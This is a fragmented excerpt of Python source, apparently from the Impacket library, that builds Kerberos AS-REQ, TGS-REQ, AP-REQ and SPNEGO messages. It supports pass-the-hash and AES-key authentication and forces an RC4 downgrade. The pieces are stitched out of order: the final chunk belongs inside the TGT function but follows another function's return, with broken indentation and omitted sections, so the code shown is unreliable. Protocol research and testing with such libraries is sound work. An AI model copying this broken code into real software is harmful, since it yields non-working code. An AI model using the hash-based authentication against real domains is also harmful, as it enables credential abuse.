        # the TGS session key (Section 5.4.1)
        encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None)

        tgsReq = TGS_REQ()
        reqBody = seq_set(tgsReq, 'req-body')

        opts = list()
        opts.append( constants.KDCOptions.forwardable.value )
        opts.append( constants.KDCOptions.renewable.value )
        opts.append( constants.KDCOptions.proxiable.value )

        reqBody['kdc-options'] = constants.encodeFlags(opts)
        seq_set(reqBody, 'sname', serverName.components_to_asn1)
        reqBody['realm'] = str(decodedTGT['crealm'])

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = random.SystemRandom().getrandbits(31)
        seq_set_iter(reqBody, 'etype', (cipher.enctype,))
        reqBody['enc-authorization-data'] = None
        reqBody['enc-authorization-data']['etype'] = int(cipher.enctype)
        reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant

        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] =  constants.encodeFlags(opts)
        seq_set(apReq,'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = str(decodedTGT['crealm'])

        clientName = Principal()
        clientName.from_asn1( decodedTGT, 'crealm', 'cname')

        seq_set(authenticator, 'cname', clientName.components_to_asn1)

        now = datetime.datetime.utcnow() 
        authenticator['cusec'] =  now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 7
        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
        # TGS authenticator subkey), encrypted with the TGS session
        # key (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)

        apReq['authenticator'] = None
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        encodedApReq = encoder.encode(apReq)

        tgsReq['pvno'] =  5
        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
        tgsReq['padata'] = None
        tgsReq['padata'][0] = None
        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
        tgsReq['padata'][0]['padata-value'] = encodedApReq

        pacRequest = KERB_PA_PAC_REQUEST()
        pacRequest['include-pac'] = False
        encodedPacRequest = encoder.encode(pacRequest)

        tgsReq['padata'][1] = None
        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
        tgsReq['padata'][1]['padata-value'] = encodedPacRequest

        message = encoder.encode(tgsReq)

        r = sendReceive(message, domain, kdcHost)

        # Get the session key
        tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
#.........这里部分代码省略.........

def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True):
    
    asReq = AS_REQ()

    domain = domain.upper()
    serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)  

    pacRequest = KERB_PA_PAC_REQUEST()
    pacRequest['include-pac'] = requestPAC
    encodedPacRequest = encoder.encode(pacRequest)

    asReq['pvno'] = 5
    asReq['msg-type'] =  int(constants.ApplicationTagNumbers.AS_REQ.value)

    asReq['padata'] = noValue
    asReq['padata'][0] = noValue
    asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
    asReq['padata'][0]['padata-value'] = encodedPacRequest

    reqBody = seq_set(asReq, 'req-body')

    opts = list()
    opts.append( constants.KDCOptions.forwardable.value )
    opts.append( constants.KDCOptions.renewable.value )
    opts.append( constants.KDCOptions.proxiable.value )
    reqBody['kdc-options']  = constants.encodeFlags(opts)

    seq_set(reqBody, 'sname', serverName.components_to_asn1)
    seq_set(reqBody, 'cname', clientName.components_to_asn1)

    if domain == '':
        raise Exception('Empty Domain not allowed in Kerberos')

    reqBody['realm'] = domain

    now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
    reqBody['till'] = KerberosTime.to_asn1(now)
    reqBody['rtime'] = KerberosTime.to_asn1(now)
    reqBody['nonce'] =  rand.getrandbits(31)

    # Yes.. this shouldn't happen but it's inherited from the past
    if aesKey is None:
        aesKey = ''

    if nthash == '':
        # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough, 
        # but I found some systems that accepts all ciphers, and trigger an error 
        # when requesting subsequent TGS :(. More research needed.
        # So, in order to support more than one cypher, I'm setting aes first
        # since most of the systems would accept it. If we're lucky and 
        # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4.
        if aesKey != '':
            if len(aesKey) == 64:
                supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)
            else:
                supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
        else:
            supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)
    else:
        # We have hashes to try, only way is to request RC4 only
        supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)

    seq_set_iter(reqBody, 'etype', supportedCiphers)

    message = encoder.encode(asReq)

    try:
        r = sendReceive(message, domain, kdcHost)
    except KerberosError as e:
        if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
            if supportedCiphers[0] in (constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value) and aesKey is '':
                supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
                seq_set_iter(reqBody, 'etype', supportedCiphers)
                message = encoder.encode(asReq)
                r = sendReceive(message, domain, kdcHost)
            else: 
                raise 
        else:
            raise 

    # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
    # 'Do not require Kerberos preauthentication' set
    preAuth = True
    try:
        asRep = decoder.decode(r, asn1Spec = KRB_ERROR())[0]
    except:
        # Most of the times we shouldn't be here, is this a TGT?
        asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
        # Yes
        preAuth = False

    encryptionTypesData = dict()
    salt = ''
    if preAuth is False:
        # In theory, we should have the right credentials for the etype specified before.
        methods = asRep['padata']
        encryptionTypesData[supportedCiphers[0]] = salt # handle RC4 fallback, we don't need any salt
        tgt = r
    else:
        methods = decoder.decode(asRep['e-data'], asn1Spec=METHOD_DATA())[0]
#.........这里部分代码省略.........

#.........这里部分代码省略.........
                            lmhash = compute_lmhash(password)
                            nthash = compute_nthash(password) 
                            continue
                        else:
                            raise 
                    else:
                        raise

        else:
            tgt = TGT['KDC_REP']
            cipher = TGT['cipher']
            sessionKey = TGT['sessionKey'] 

        # Now that we have the TGT, we should ask for a TGS for cifs

        if TGS is None:
            serverName = Principal('host/%s' % targetName, type=constants.PrincipalNameType.NT_SRV_INST.value)
            try:
                tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
            except KerberosError as e:
                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                    # We might face this if the target does not support AES 
                    # So, if that's the case we'll force using RC4 by converting
                    # the password to lm/nt hashes and hope for the best. If that's already
                    # done, byebye.
                    if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None:
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
                        lmhash = compute_lmhash(password)
                        nthash = compute_nthash(password) 
                    else:
                        raise 
                else:
                    raise 
            else:
                break
        else:
            tgs = TGS['KDC_REP']
            cipher = TGS['cipher']
            sessionKey = TGS['sessionKey'] 
            break

    # Let's build a NegTokenInit with a Kerberos REQ_AP

    blob = SPNEGO_NegTokenInit() 

    # Kerberos
    blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

    # Let's extract the ticket from the TGS
    tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
    ticket = Ticket()
    ticket.from_asn1(tgs['ticket'])
    
    # Now let's build the AP_REQ
    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = list()
    opts.append(constants.APOptions.mutual_required.value)
    apReq['ap-options'] = constants.encodeFlags(opts)
    seq_set(apReq,'ticket', ticket.to_asn1)

    authenticator = Authenticator()
    authenticator['authenticator-vno'] = 5
    authenticator['crealm'] = domain
    seq_set(authenticator, 'cname', userName.components_to_asn1)
    now = datetime.datetime.utcnow()

    authenticator['cusec'] = now.microsecond
    authenticator['ctime'] = KerberosTime.to_asn1(now)

    
    authenticator['cksum'] = noValue
    authenticator['cksum']['cksumtype'] = 0x8003

    chkField = CheckSumField()
    chkField['Lgth'] = 16

    chkField['Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
    #chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
    authenticator['cksum']['checksum'] = chkField.getData()
    authenticator['seq-number'] = 0
    encodedAuthenticator = encoder.encode(authenticator)

    # Key Usage 11
    # AP-REQ Authenticator (includes application authenticator
    # subkey), encrypted with the application session key
    # (Section 5.5.1)
    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)

    apReq['authenticator'] = noValue
    apReq['authenticator']['etype'] = cipher.enctype
    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

    blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode( struct.pack('B', ASN1_OID) + asn1encode(
            TypesMech['KRB5 - Kerberos 5'] ) + KRB5_AP_REQ + encoder.encode(apReq))

    return cipher, sessionKey, blob.getData()

                if etype["salt"] is None:
                    salt = ""
                else:
                    salt = str(etype["salt"])
                encryptionTypesData[etype["etype"]] = salt

    enctype = supportedCiphers[0]

    if encryptionTypesData.has_key(enctype) is False:
        raise Exception("No Encryption Data Available!")

    # Let's build the timestamp
    timeStamp = PA_ENC_TS_ENC()

    now = datetime.datetime.utcnow()
    timeStamp["patimestamp"] = KerberosTime.to_asn1(now)
    timeStamp["pausec"] = now.microsecond

    # Encrypt the shyte
    cipher = _enctype_table[enctype]

    # Pass the hash/aes key :P
    if nthash != "":
        key = Key(cipher.enctype, nthash)
    elif aesKey != "":
        key = Key(cipher.enctype, unhexlify(aesKey))
    else:
        key = cipher.string_to_key(password, encryptionTypesData[enctype], None)
    encodedTimeStamp = encoder.encode(timeStamp)

    # Key Usage 1